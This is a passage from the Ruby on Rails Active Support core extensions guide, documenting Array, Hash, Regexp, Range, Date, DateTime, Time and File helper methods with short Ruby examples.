Defined in active_support/core_ext/array/grouping.rb.

10.7.3 split(value = nil)

The method split divides an array by a separator and returns the resulting chunks.

If a block is passed the separators are those elements of the array for which the block returns true:

(-5..5).to_a.split { |i| i.multiple_of?(4) }
# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]

Otherwise, the value received as argument, which defaults to nil, is the separator:

[0, 1, -5, 1, 1, "foo", "bar"].split(1)
# => [[0], [-5], [], ["foo", "bar"]]

Observe in the previous example that consecutive separators result in empty arrays.

Defined in active_support/core_ext/array/grouping.rb.

11 Extensions to Hash

11.1 Conversions

11.1.1 to_xml

The method to_xml returns a string containing an XML representation of its receiver:

{"foo" => 1, "bar" => 2}.to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <hash>
#   <foo type="integer">1</foo>
#   <bar type="integer">2</bar>
# </hash>

To do so, the method loops over the pairs and builds nodes that depend on the values. Given a pair key, value:

- If value is a hash there's a recursive call with key as :root.

- If value is an array there's a recursive call with key as :root, and key singularized as :children.

- If value is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the options hash as first argument with key as :root, and key singularized as second argument. Its return value becomes a new node.

- If value responds to to_xml the method is invoked with key as :root.

- Otherwise, a node with key as tag is created with a string representation of value as text node. If value is nil an attribute "nil" set to "true" is added. Unless the option :skip_types exists and is true, an attribute "type" is added as well according to the following mapping:

XML_TYPE_NAMES = {
"Symbol"     => "symbol",
"Integer"    => "integer",
"BigDecimal" => "decimal",
"Float"      => "float",
"TrueClass"  => "boolean",
"FalseClass" => "boolean",
"Date"       => "date",
"DateTime"   => "datetime",
"Time"       => "datetime"
}

By default the root node is "hash", but that's configurable via the :root option.

The default XML builder is a fresh instance of Builder::XmlMarkup. You can configure your own builder with the :builder option. The method also accepts options like :dasherize and friends, they are forwarded to the builder.

Defined in active_support/core_ext/hash/conversions.rb.

11.2 Merging

Ruby has a built-in method Hash#merge that merges two hashes:

{a: 1, b: 1}.merge(a: 0, c: 2)
# => {:a=>0, :b=>1, :c=>2}

Active Support defines a few more ways of merging hashes that may be convenient.

11.2.1 reverse_merge and reverse_merge!

In case of collision the key in the hash of the argument wins in merge. You can support option hashes with default values in a compact way with this idiom:

options = {length: 30, omission: "..."}.merge(options)

Active Support defines reverse_merge in case you prefer this alternative notation:

options = options.reverse_merge(length: 30, omission: "...")

And a bang version reverse_merge! that performs the merge in place:

options.reverse_merge!(length: 30, omission: "...")

Take into account that reverse_merge! may change the hash in the caller, which may or may not be a good idea.

Defined in active_support/core_ext/hash/reverse_merge.rb.

11.2.2 reverse_update

The method reverse_update is an alias for reverse_merge!, explained above.

Note that reverse_update has no bang.

Defined in active_support/core_ext/hash/reverse_merge.rb.

11.2.3 deep_merge and deep_merge!

As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.

Active Support defines Hash#deep_merge. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their merge becomes the value in the resulting hash:

{a: {b: 1}}.deep_merge(a: {c: 2})
# => {:a=>{:b=>1, :c=>2}}

The method deep_merge! performs a deep merge in place.

Defined in active_support/core_ext/hash/deep_merge.rb.

11.3 Deep duplicating

The method Hash#deep_dup duplicates itself and all keys and values inside recursively with Active Support method Object#deep_dup. It works like Enumerator#each_with_object with sending deep_dup method to each pair inside.

hash = { a: 1, b: { c: 2, d: [3, 4] } }

dup = hash.deep_dup
dup[:b][:e] = 5
dup[:b][:d] << 5

hash[:b][:e] == nil      # => true
hash[:b][:d] == [3, 4]   # => true

Defined in active_support/core_ext/object/deep_dup.rb.

11.4 Working with Keys

11.4.1 except and except!

The method except returns a hash with the keys in the argument list removed, if present:

{a: 1, b: 2}.except(:a) # => {:b=>2}

If the receiver responds to convert_key, the method is called on each of the arguments. This allows except to play nice with hashes with indifferent access for instance:

{a: 1}.with_indifferent_access.except(:a)  # => {}
{a: 1}.with_indifferent_access.except("a") # => {}

There's also the bang variant except! that removes keys in the very receiver.

Defined in active_support/core_ext/hash/except.rb.

11.4.2 transform_keys and transform_keys!

The method transform_keys accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:

{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase }
# => {"" => nil, "A" => :a, "1" => 1}

In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:

{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
# The result could either be
# => {"A"=>2}
# or
# => {"A"=>1}

This method may be useful for example to build specialized conversions. For instance stringify_keys and symbolize_keys use transform_keys to perform their key conversions:

def stringify_keys
transform_keys { |key| key.to_s }
end
...
def symbolize_keys
transform_keys { |key| key.to_sym rescue key }
end

There's also the bang variant transform_keys! that applies the block operations to keys in the very receiver.

Besides that, one can use deep_transform_keys and deep_transform_keys! to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:

{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase }
# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}

Defined in active_support/core_ext/hash/keys.rb.

11.4.3 stringify_keys and stringify_keys!

The method stringify_keys returns a hash that has a stringified version of the keys in the receiver. It does so by sending to_s to them:

{nil => nil, 1 => 1, a: :a}.stringify_keys
# => {"" => nil, "a" => :a, "1" => 1}

In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:

{"a" => 1, a: 2}.stringify_keys
# The result could either be
# => {"a"=>2}
# or
# => {"a"=>1}

This method may be useful for example to easily accept both symbols and strings as options. For instance ActionView::Helpers::FormHelper defines:

def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
options = options.stringify_keys
options["type"] = "checkbox"
...
end

The second line can safely access the "type" key, and let the user to pass either :type or "type".

There's also the bang variant stringify_keys! that stringifies keys in the very receiver.

Besides that, one can use deep_stringify_keys and deep_stringify_keys! to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:

{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}

Defined in active_support/core_ext/hash/keys.rb.

11.4.4 symbolize_keys and symbolize_keys!

The method symbolize_keys returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending to_sym to them:

{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
# => {1=>1, nil=>nil, :a=>"a"}

Note in the previous example only one key was symbolized.

In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:

{"a" => 1, a: 2}.symbolize_keys
# The result could either be
# => {:a=>2}
# or
# => {:a=>1}

This method may be useful for example to easily accept both symbols and strings as options. For instance ActionController::UrlRewriter defines

def rewrite_path(options)
options = options.symbolize_keys
options.update(options[:params].symbolize_keys) if options[:params]
...
end

The second line can safely access the :params key, and let the user to pass either :params or "params".

There's also the bang variant symbolize_keys! that symbolizes keys in the very receiver.

Besides that, one can use deep_symbolize_keys and deep_symbolize_keys! to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:

{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}

Defined in active_support/core_ext/hash/keys.rb.

11.4.5 to_options and to_options!

The methods to_options and to_options! are respectively aliases of symbolize_keys and symbolize_keys!.

Defined in active_support/core_ext/hash/keys.rb.

11.4.6 assert_valid_keys

The method assert_valid_keys receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does ArgumentError is raised.

{a: 1}.assert_valid_keys(:a)  # passes
{a: 1}.assert_valid_keys("a") # ArgumentError

Active Record does not accept unknown options when building associations, for example. It implements that control via assert_valid_keys.

Defined in active_support/core_ext/hash/keys.rb.

11.5 Working with Values

11.5.1 transform_values && transform_values!

The method transform_values accepts a block and returns a hash that has applied the block operations to each of the values in the receiver.

{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase }
# => {nil=>"", 1=>"1", :x=>"A"}

There's also the bang variant transform_values! that applies the block operations to values in the very receiver.

Defined in active_support/core_ext/hash/transform_values.rb.

11.6 Slicing

Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:

{a: 1, b: 2, c: 3}.slice(:a, :c)
# => {:c=>3, :a=>1}

{a: 1, b: 2, c: 3}.slice(:b, :X)
# => {:b=>2} # non-existing keys are ignored

If the receiver responds to convert_key keys are normalized:

{a: 1, b: 2}.with_indifferent_access.slice("a")
# => {:a=>1}

Slicing may come in handy for sanitizing option hashes with a white list of keys.

There's also slice! which in addition to perform a slice in place returns what's removed:

hash = {a: 1, b: 2}
rest = hash.slice!(:a) # => {:b=>2}
hash                   # => {:a=>1}

Defined in active_support/core_ext/hash/slice.rb.

11.7 Extracting

The method extract! removes and returns the key/value pairs matching the given keys.

hash = {a: 1, b: 2}
rest = hash.extract!(:a) # => {:a=>1}
hash                     # => {:b=>2}

The method extract! returns the same subclass of Hash, that the receiver is.

hash = {a: 1, b: 2}.with_indifferent_access
rest = hash.extract!(:a).class
# => ActiveSupport::HashWithIndifferentAccess

Defined in active_support/core_ext/hash/slice.rb.

11.8 Indifferent Access

The method with_indifferent_access returns an ActiveSupport::HashWithIndifferentAccess out of its receiver:

{a: 1}.with_indifferent_access["a"] # => 1

Defined in active_support/core_ext/hash/indifferent_access.rb.

11.9 Compacting

The methods compact and compact! return a Hash without items with nil value.

{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}

Defined in active_support/core_ext/hash/compact.rb.

12 Extensions to Regexp

12.1 multiline?

The method multiline? says whether a regexp has the /m flag set, that is, whether the dot matches newlines.

%r{.}.multiline?  # => false
%r{.}m.multiline? # => true

Regexp.new('.').multiline?                    # => false
Regexp.new('.', Regexp::MULTILINE).multiline? # => true

Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.

def assign_route_options(segments, defaults, requirements)
...
if requirement.multiline?
raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
end
...
end

Defined in active_support/core_ext/regexp.rb.

13 Extensions to Range

13.1 to_s

Active Support extends the method Range#to_s so that it understands an optional format argument. As of this writing the only supported non-default format is :db:

(Date.today..Date.tomorrow).to_s
# => "2009-10-25..2009-10-26"

(Date.today..Date.tomorrow).to_s(:db)
# => "BETWEEN '2009-10-25' AND '2009-10-26'"

As the example depicts, the :db format generates a BETWEEN SQL clause. That is used by Active Record in its support for range values in conditions.

Defined in active_support/core_ext/range/conversions.rb.

13.2 include?

The methods Range#include? and Range#=== say whether some value falls between the ends of a given instance:

(2..3).include?(Math::E) # => true

Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:

(1..10).include?(3..7)  # => true
(1..10).include?(0..7)  # => false
(1..10).include?(3..11) # => false
(1...9).include?(3..9)  # => false

(1..10) === (3..7)  # => true
(1..10) === (0..7)  # => false
(1..10) === (3..11) # => false
(1...9) === (3..9)  # => false

Defined in active_support/core_ext/range/include_range.rb.

13.3 overlaps?

The method Range#overlaps? says whether any two given ranges have non-void intersection:

(1..10).overlaps?(7..11)  # => true
(1..10).overlaps?(0..7)   # => true
(1..10).overlaps?(11..27) # => false

Defined in active_support/core_ext/range/overlaps.rb.

14 Extensions to Date

14.1 Calculations

All the following methods are defined in active_support/core_ext/date/calculations.rb.

The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, Date.new(1582, 10, 4).tomorrow returns Date.new(1582, 10, 15) and so on. Please check test/core_ext/date_ext_test.rb in the Active Support test suite for expected behavior.

14.1.1 Date.current

Active Support defines Date.current to be today in the current time zone. That's like Date.today, except that it honors the user time zone, if defined. It also defines Date.yesterday and Date.tomorrow, and the instance predicates past?, today?, future?, on_weekday? and on_weekend?, all of them relative to Date.current.

When making Date comparisons using methods which honor the user time zone, make sure to use Date.current and not Date.today. There are cases where the user time zone might be in the future compared to the system time zone, which Date.today uses by default. This means Date.today may equal Date.yesterday.

14.1.2 Named dates

14.1.2.1 prev_year, next_year

In Ruby 1.9 prev_year and next_year return a date with the same day/month in the last or next year:

d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_year              # => Fri, 08 May 2009
d.next_year              # => Sun, 08 May 2011

If date is the 29th of February of a leap year, you obtain the 28th:

d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
d.prev_year               # => Sun, 28 Feb 1999
d.next_year               # => Wed, 28 Feb 2001

prev_year is aliased to last_year.

14.1.2.2 prev_month, next_month

In Ruby 1.9 prev_month and next_month return the date with the same day in the last or next month:

d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_month             # => Thu, 08 Apr 2010
d.next_month             # => Tue, 08 Jun 2010

If such a day does not exist, the last day of the corresponding month is returned:

Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000

prev_month is aliased to last_month.

14.1.2.3 prev_quarter, next_quarter

Same as prev_month and next_month. It returns the date with the same day in the previous or next quarter:

t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
t.prev_quarter             # => Mon, 08 Feb 2010
t.next_quarter             # => Sun, 08 Aug 2010

If such a day does not exist, the last day of the corresponding month is returned:

Time.local(2000, 7, 31).prev_quarter  # => Sun, 30 Apr 2000
Time.local(2000, 5, 31).prev_quarter  # => Tue, 29 Feb 2000
Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001

prev_quarter is aliased to last_quarter.

14.1.2.4 beginning_of_week, end_of_week

The methods beginning_of_week and end_of_week return the dates for the beginning and end of the week, respectively. Weeks are assumed to start on Monday, but that can be changed passing an argument, setting thread local Date.beginning_of_week or config.beginning_of_week.

d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
d.beginning_of_week          # => Mon, 03 May 2010
d.beginning_of_week(:sunday) # => Sun, 02 May 2010
d.end_of_week                # => Sun, 09 May 2010
d.end_of_week(:sunday)       # => Sat, 08 May 2010

beginning_of_week is aliased to at_beginning_of_week and end_of_week is aliased to at_end_of_week.

14.1.2.5 monday, sunday

The methods monday and sunday return the dates for the previous Monday and next Sunday, respectively.

d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
d.monday                     # => Mon, 03 May 2010
d.sunday                     # => Sun, 09 May 2010

d = Date.new(2012, 9, 10)    # => Mon, 10 Sep 2012
d.monday                     # => Mon, 10 Sep 2012

d = Date.new(2012, 9, 16)    # => Sun, 16 Sep 2012
d.sunday                     # => Sun, 16 Sep 2012

14.1.2.6 prev_week, next_week

The method next_week receives a symbol with a day name in English (default is the thread local Date.beginning_of_week, or config.beginning_of_week, or :monday) and it returns the date corresponding to that day.

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.next_week              # => Mon, 10 May 2010
d.next_week(:saturday)   # => Sat, 15 May 2010

The method prev_week is analogous:

d.prev_week              # => Mon, 26 Apr 2010
d.prev_week(:saturday)   # => Sat, 01 May 2010
d.prev_week(:friday)     # => Fri, 30 Apr 2010

prev_week is aliased to last_week.

Both next_week and prev_week work as expected when Date.beginning_of_week or config.beginning_of_week are set.

14.1.2.7 beginning_of_month, end_of_month

The methods beginning_of_month and end_of_month return the dates for the beginning and end of the month:

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_month     # => Sat, 01 May 2010
d.end_of_month           # => Mon, 31 May 2010

beginning_of_month is aliased to at_beginning_of_month, and end_of_month is aliased to at_end_of_month.

14.1.2.8 beginning_of_quarter, end_of_quarter

The methods beginning_of_quarter and end_of_quarter return the dates for the beginning and end of the quarter of the receiver's calendar year:

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_quarter   # => Thu, 01 Apr 2010
d.end_of_quarter         # => Wed, 30 Jun 2010

beginning_of_quarter is aliased to at_beginning_of_quarter, and end_of_quarter is aliased to at_end_of_quarter.

14.1.2.9 beginning_of_year, end_of_year

The methods beginning_of_year and end_of_year return the dates for the beginning and end of the year:

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_year      # => Fri, 01 Jan 2010
d.end_of_year            # => Fri, 31 Dec 2010

beginning_of_year is aliased to at_beginning_of_year, and end_of_year is aliased to at_end_of_year.

14.1.3 Other Date Computations

14.1.3.1 years_ago, years_since

The method years_ago receives a number of years and returns the same date those many years ago:

date = Date.new(2010, 6, 7)
date.years_ago(10) # => Wed, 07 Jun 2000

years_since moves forward in time:

date = Date.new(2010, 6, 7)
date.years_since(10) # => Sun, 07 Jun 2020

If such a day does not exist, the last day of the corresponding month is returned:

Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015

14.1.3.2 months_ago, months_since

The methods months_ago and months_since work analogously for months:

Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010

If such a day does not exist, the last day of the corresponding month is returned:

Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010

14.1.3.3 weeks_ago

The method weeks_ago works analogously for weeks:

Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010

14.1.3.4 advance

The most generic way to jump to other days is advance. This method receives a hash with keys :years, :months, :weeks, :days, and returns a date advanced as much as the present keys indicate:

date = Date.new(2010, 6, 6)
date.advance(years: 1, weeks: 2)  # => Mon, 20 Jun 2011
date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010

Note in the previous example that increments may be negative.

To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.

The method advance advances first one month, and then one day, the result is:

Date.new(2010, 2, 28).advance(months: 1, days: 1)
# => Sun, 29 Mar 2010

While if it did it the other way around the result would be different:

Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
# => Thu, 01 Apr 2010

14.1.4 Changing Components

The method change allows you to get a new date which is the same as the receiver except for the given year, month, or day:

Date.new(2010, 12, 23).change(year: 2011, month: 11)
# => Wed, 23 Nov 2011

This method is not tolerant to non-existing dates, if the change is invalid ArgumentError is raised:

Date.new(2010, 1, 31).change(month: 2)
# => ArgumentError: invalid date

14.1.5 Durations

Durations can be added to and subtracted from dates:

d = Date.current
# => Mon, 09 Aug 2010
d + 1.year
# => Tue, 09 Aug 2011
d - 3.hours
# => Sun, 08 Aug 2010 21:00:00 UTC +00:00

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

Date.new(1582, 10, 4) + 1.day
# => Fri, 15 Oct 1582

14.1.6 Timestamps

The following methods return a Time object if possible, otherwise a DateTime. If set, they honor the user time zone.

14.1.6.1 beginning_of_day, end_of_day

The method beginning_of_day returns a timestamp at the beginning of the day (00:00:00):

date = Date.new(2010, 6, 7)
date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010

The method end_of_day returns a timestamp at the end of the day (23:59:59):

date = Date.new(2010, 6, 7)
date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010

beginning_of_day is aliased to at_beginning_of_day, midnight, at_midnight.

14.1.6.2 beginning_of_hour, end_of_hour

The method beginning_of_hour returns a timestamp at the beginning of the hour (hh:00:00):

date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010

The method end_of_hour returns a timestamp at the end of the hour (hh:59:59):

date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010

beginning_of_hour is aliased to at_beginning_of_hour.

14.1.6.3 beginning_of_minute, end_of_minute

The method beginning_of_minute returns a timestamp at the beginning of the minute (hh:mm:00):

date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010

The method end_of_minute returns a timestamp at the end of the minute (hh:mm:59):

date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010

beginning_of_minute is aliased to at_beginning_of_minute.

beginning_of_hour, end_of_hour, beginning_of_minute and end_of_minute are implemented for Time and DateTime but not Date as it does not make sense to request the beginning or end of an hour or minute on a Date instance.

14.1.6.4 ago, since

The method ago receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:

date = Date.current # => Fri, 11 Jun 2010
date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00

Similarly, since moves forward:

date = Date.current # => Fri, 11 Jun 2010
date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00

14.1.7 Other Time Computations

14.2 Conversions

15 Extensions to DateTime

DateTime is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example seconds_since_midnight might not return the real amount in such a day.

15.1 Calculations

All the following methods are defined in active_support/core_ext/date_time/calculations.rb.

The class DateTime is a subclass of Date so by loading active_support/core_ext/date/calculations.rb you inherit these methods and their aliases, except that they will always return datetimes:

yesterday
tomorrow
beginning_of_week (at_beginning_of_week)
end_of_week (at_end_of_week)
monday
sunday
weeks_ago
prev_week (last_week)
next_week
months_ago
months_since
beginning_of_month (at_beginning_of_month)
end_of_month (at_end_of_month)
prev_month (last_month)
next_month
beginning_of_quarter (at_beginning_of_quarter)
end_of_quarter (at_end_of_quarter)
beginning_of_year (at_beginning_of_year)
end_of_year (at_end_of_year)
years_ago
years_since
prev_year (last_year)
next_year
on_weekday?
on_weekend?

The following methods are reimplemented so you do not need to load active_support/core_ext/date/calculations.rb for these ones:

beginning_of_day (midnight, at_midnight, at_beginning_of_day)
end_of_day
ago
since (in)

On the other hand, advance and change are also defined and support more options, they are documented below.

The following methods are only implemented in active_support/core_ext/date_time/calculations.rb as they only make sense when used with a DateTime instance:

beginning_of_hour (at_beginning_of_hour)
end_of_hour

15.1.1 Named Datetimes

15.1.1.1 DateTime.current

Active Support defines DateTime.current to be like Time.now.to_datetime, except that it honors the user time zone, if defined. It also defines DateTime.yesterday and DateTime.tomorrow, and the instance predicates past?, and future? relative to DateTime.current.

15.1.2 Other Extensions

15.1.2.1 seconds_since_midnight

The method seconds_since_midnight returns the number of seconds since midnight:

now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
now.seconds_since_midnight # => 73596

15.1.2.2 utc

The method utc gives you the same datetime in the receiver expressed in UTC.

now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000

This method is also aliased as getutc.

15.1.2.3 utc?

The predicate utc? says whether the receiver has UTC as its time zone:

now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
now.utc?           # => false
now.utc.utc?       # => true

15.1.2.4 advance

The most generic way to jump to another datetime is advance. This method receives a hash with keys :years, :months, :weeks, :days, :hours, :minutes, and :seconds, and returns a datetime advanced as much as the present keys indicate.

d = DateTime.current
# => Thu, 05 Aug 2010 11:33:31 +0000
d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
# => Tue, 06 Sep 2011 12:34:32 +0000

This method first computes the destination date passing :years, :months, :weeks, and :days to Date#advance documented above. After that, it adjusts the time calling since with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in Date#advance applies, and we can extend it to show order relevance related to the time bits.

If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:

d = DateTime.new(2010, 2, 28, 23, 59, 59)
# => Sun, 28 Feb 2010 23:59:59 +0000
d.advance(months: 1, seconds: 1)
# => Mon, 29 Mar 2010 00:00:00 +0000

but if we computed them the other way around, the result would be different:

d.advance(seconds: 1).advance(months: 1)
# => Thu, 01 Apr 2010 00:00:00 +0000

Since DateTime is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.

15.1.3 Changing Components

The method change allows you to get a new datetime which is the same as the receiver except for the given options, which may include :year, :month, :day, :hour, :min, :sec, :offset, :start:

now = DateTime.current
# => Tue, 08 Jun 2010 01:56:22 +0000
now.change(year: 2011, offset: Rational(-6, 24))
# => Wed, 08 Jun 2011 01:56:22 -0600

If hours are zeroed, then minutes and seconds are too (unless they have given values):

now.change(hour: 0)
# => Tue, 08 Jun 2010 00:00:00 +0000

Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):

now.change(min: 0)
# => Tue, 08 Jun 2010 01:00:00 +0000

This method is not tolerant to non-existing dates, if the change is invalid ArgumentError is raised:

DateTime.current.change(month: 2, day: 30)
# => ArgumentError: invalid date

15.1.4 Durations

Durations can be added to and subtracted from datetimes:

now = DateTime.current
# => Mon, 09 Aug 2010 23:15:17 +0000
now + 1.year
# => Tue, 09 Aug 2011 23:15:17 +0000
now - 1.week
# => Mon, 02 Aug 2010 23:15:17 +0000

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

DateTime.new(1582, 10, 4, 23) + 1.hour
# => Fri, 15 Oct 1582 00:00:00 +0000

16 Extensions to Time

16.1 Calculations

All the following methods are defined in active_support/core_ext/time/calculations.rb.

Active Support adds to Time many of the methods available for DateTime:

past?
today?
future?
yesterday
tomorrow
seconds_since_midnight
change
advance
ago
since (in)
beginning_of_day (midnight, at_midnight, at_beginning_of_day)
end_of_day
beginning_of_hour (at_beginning_of_hour)
end_of_hour
beginning_of_week (at_beginning_of_week)
end_of_week (at_end_of_week)
monday
sunday
weeks_ago
prev_week (last_week)
next_week
months_ago
months_since
beginning_of_month (at_beginning_of_month)
end_of_month (at_end_of_month)
prev_month (last_month)
next_month
beginning_of_quarter (at_beginning_of_quarter)
end_of_quarter (at_end_of_quarter)
beginning_of_year (at_beginning_of_year)
end_of_year (at_end_of_year)
years_ago
years_since
prev_year (last_year)
next_year
on_weekday?
on_weekend?

They are analogous. Please refer to their documentation above and take into account the following differences:

- change accepts an additional :usec option.

- Time understands DST, so you get correct DST calculations as in

Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>

# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
t = Time.local(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(seconds: 1)
# => Sun Mar 28 03:00:00 +0200 2010

- If since or ago jump to a time that can't be expressed with Time a DateTime object is returned instead.

16.1.1 Time.current

Active Support defines Time.current to be today in the current time zone. That's like Time.now, except that it honors the user time zone, if defined. It also defines the instance predicates past?, today?, and future?, all of them relative to Time.current.

When making Time comparisons using methods which honor the user time zone, make sure to use Time.current instead of Time.now. There are cases where the user time zone might be in the future compared to the system time zone, which Time.now uses by default. This means Time.now.to_date may equal Date.yesterday.

16.1.2 all_day, all_week, all_month, all_quarter and all_year

The method all_day returns a range representing the whole day of the current time.

now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00

Analogously, all_week, all_month, all_quarter and all_year all serve the purpose of generating time ranges.

now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
now.all_week(:sunday)
# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
now.all_month
# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
now.all_quarter
# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00

16.2 Time Constructors

Active Support defines Time.current to be Time.zone.now if there's a user time zone defined, with fallback to Time.now:

Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.current
# => Fri, 06 Aug 2010 17:11:58 CEST +02:00

Analogously to DateTime, the predicates past?, and future? are relative to Time.current.

If the time to be constructed lies beyond the range supported by Time in the runtime platform, usecs are discarded and a DateTime object is returned instead.

16.2.1 Durations

Durations can be added to and subtracted from time objects:

now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now + 1.year
#  => Tue, 09 Aug 2011 23:21:11 UTC +00:00
now - 1.week
# => Mon, 02 Aug 2010 23:21:11 UTC +00:00

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

Time.utc(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582

17 Extensions to File

17.1 atomic_write

With the class method File.atomic_write you can write to a file in a way that will prevent any reader from seeing half-written content.

The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done atomic_write closes the file handle and completes its job.

For example, Action Pack uses this method to write asset cache files like all.css:

File.atomic_write(joined_asset_path) do |cache|
cache.write(join_asset_file_contents(asset_paths))
end

To accomplish this atomic_write creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists atomic_write overwrites it and keeps owners and permissions. However there are a few cases where atomic_write cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is accessible to the processes that need it.

Due to the chmod operation atomic_write performs, if the target file has an ACL set on it this ACL will be recalculated/modified.

Note you can't append with atomic_write.

